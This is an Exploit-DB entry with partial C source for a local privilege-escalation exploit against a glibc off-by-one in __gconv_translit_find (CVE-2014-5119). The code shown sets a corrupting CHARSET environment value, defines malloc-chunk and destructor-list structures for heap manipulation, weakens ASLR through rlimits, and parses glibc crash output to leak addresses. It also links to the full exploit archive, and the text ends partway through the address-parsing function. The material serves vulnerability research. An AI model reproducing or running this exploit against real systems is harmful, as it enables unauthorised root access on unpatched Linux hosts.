Exploit-DB #34421
Description: glibc - NUL Byte gconv_translit_find Off-by-One
Type: local
Platform: linux
Date: 2014-08-27
Author: taviso & scarybeasts

Exploit:
//
// Full Exploit: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34421.tar.gz (CVE-2014-5119.tar.gz)
//
//
// ---------------------------------------------------
// CVE-2014-5119 glibc __gconv_translit_find() exploit
// ------------------------ taviso & scarybeasts -----
//
// Tavis Ormandy <taviso@cmpxhg8b.com>
// Chris Evans   <scarybeasts@gmail.com>
//
// Monday 25th August, 2014
//

#define _GNU_SOURCE
#include <err.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>
#include <stdarg.h>
#include <stddef.h>
#include <signal.h>
#include <string.h>
#include <termios.h>
#include <stdbool.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
#include <sys/resource.h>

// Minimal environment to trigger corruption in __gconv_translit_find().
static char * const kCorruptCharsetEnviron[] = {
    "CHARSET=//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    NULL,
};

static const struct rlimit kRlimMax = {
    .rlim_cur = RLIM_INFINITY,
    .rlim_max = RLIM_INFINITY,
};

static const struct rlimit kRlimMin = {
    .rlim_cur = 1,
    .rlim_max = 1,
};

// A malloc chunk header.
typedef struct {
    size_t    prev_size;
    size_t    size;
    uintptr_t fd;
    uintptr_t bk;
    uintptr_t fd_nextsize;
    uintptr_t bk_nextsize;
} mchunk_t;

// A tls_dtor_list node.
typedef struct {
    uintptr_t   func;
    uintptr_t   obj;
    uintptr_t   map;
    uintptr_t   next;
} dlist_t;

// The known_trans structure glibc uses for transliteration modules.
typedef struct {
    uint8_t    info[32];
    char      *fname;
    void      *handle;
    int        open_count;
} known_t;

enum {
    LOG_DEBUG,
    LOG_WARN,
    LOG_ERROR,
    LOG_FATAL,
};

// Round up an integer to the next PAGE_SIZE boundary.
static inline uintptr_t next_page_size(uintptr_t size)
{
    return (size + PAGE_SIZE - 1) & PAGE_MASK;
}

// Allocate a buffer of specified length, starting with s, containing c, terminated with t.
static void * alloc_repeated_string(size_t length, int s, int c, int t)
{
    return memset(memset(memset(malloc(length), t, length), c, length - 1), s, 1);
}

static void logmessage(int level, const char * format, ...)
{
    va_list ap;

    switch (level) {
        case LOG_DEBUG: fprintf(stderr, "[*] "); break;
        case LOG_WARN:  fprintf(stderr, "[*] "); break;
        case LOG_ERROR: fprintf(stderr, "[!] "); break;
    }

    va_start(ap, format);
        vfprintf(stderr, format, ap);
    va_end(ap);

    fputc('\n', stderr);

    if (level == LOG_ERROR) {
        _exit(EXIT_FAILURE);
    }
}

// Parse a libc malloc assertion message to extract useful pointers.
//
// Note, this isn't to defeat ASLR, it just makes it more portable across
// different system configurations. ASLR is already nullified using rlimits,
// although technically even that isn't necessary.
static int parse_fatal_error(uintptr_t *chunkptr, uintptr_t *baseaddr, uintptr_t *bssaddr, uintptr_t *libcaddr)
{
    FILE *pty;
    char *mallocerror;
    char *memorymap;
    char *line;
    char *prev;
    char message[1 << 14];
    char *anon = NULL;
    char r, w, x, s;
    ssize_t count;
    int status;
    uintptr_t mapstart;
    uintptr_t mapend;

    // Unfortunately, glibc writes it's error messaged to /dev/tty. This cannot
    // be changed in setuid programs, so this wrapper catches tty output.
    while (true) {
        // Reset any previous output.
        memset(message, 0, sizeof message);

        logmessage(LOG_DEBUG, "Attempting to invoke pseudo-pty helper (this will take a few seconds)...");

        if ((pty = popen("./pty", "r")) == NULL) {
            logmessage(LOG_ERROR, "failed to execute pseudo-pty helper utility, cannot continue");
        }

        if ((count = fread(message, 1, sizeof message, pty)) <= 0) {
            logmessage(LOG_ERROR, "failed to read output from pseudo-pty helper, %d (%m)", count, message);
        }

        logmessage(LOG_DEBUG, "Read %u bytes of output from pseudo-pty helper, parsing...", count);

        pclose(pty);

        mallocerror = strstr(message, "corrupted double-linked list");
        memorymap = strstr(message, "======= Memory map: ========");

        // Unfortunately this isn't reliable, keep trying until it works.
        if (mallocerror == NULL || memorymap == NULL) {
            logmessage(LOG_WARN, "expected output missing (this is normal), trying again...");
            continue;
        }

        logmessage(LOG_DEBUG, "pseudo-pty helper succeeded");
        break;
    }

    *baseaddr = 0;
    *chunkptr = 0;
    *bssaddr  = 0;
    *libcaddr = 0;

    logmessage(LOG_DEBUG, "attempting to parse libc fatal error message...");

    // Verify this is a message we understand.
    if (!mallocerror || !memorymap) {
        logmessage(LOG_ERROR, "unable to locate required error messages in crash dump");
    }

    // First, find the chunk pointer that malloc doesn't like
    if (sscanf(mallocerror, "corrupted double-linked list: %p ***", chunkptr) != 1) {
        logmessage(LOG_ERROR, "having trouble parsing this error message: %.20s", mallocerror);
    };

    logmessage(LOG_DEBUG, "discovered chunk pointer from `%.20s...`, => %p", mallocerror, *chunkptr);
    logmessage(LOG_DEBUG, "attempting to parse the libc maps dump...");

    // Second, parse maps.
    for (prev = line = memorymap; line = strtok(line, "\n"); prev = line, line = NULL) {
        char filename[32];

        // Reset filename.
        memset(filename, 0, sizeof filename);

        // Just ignore the banner printed by glibc.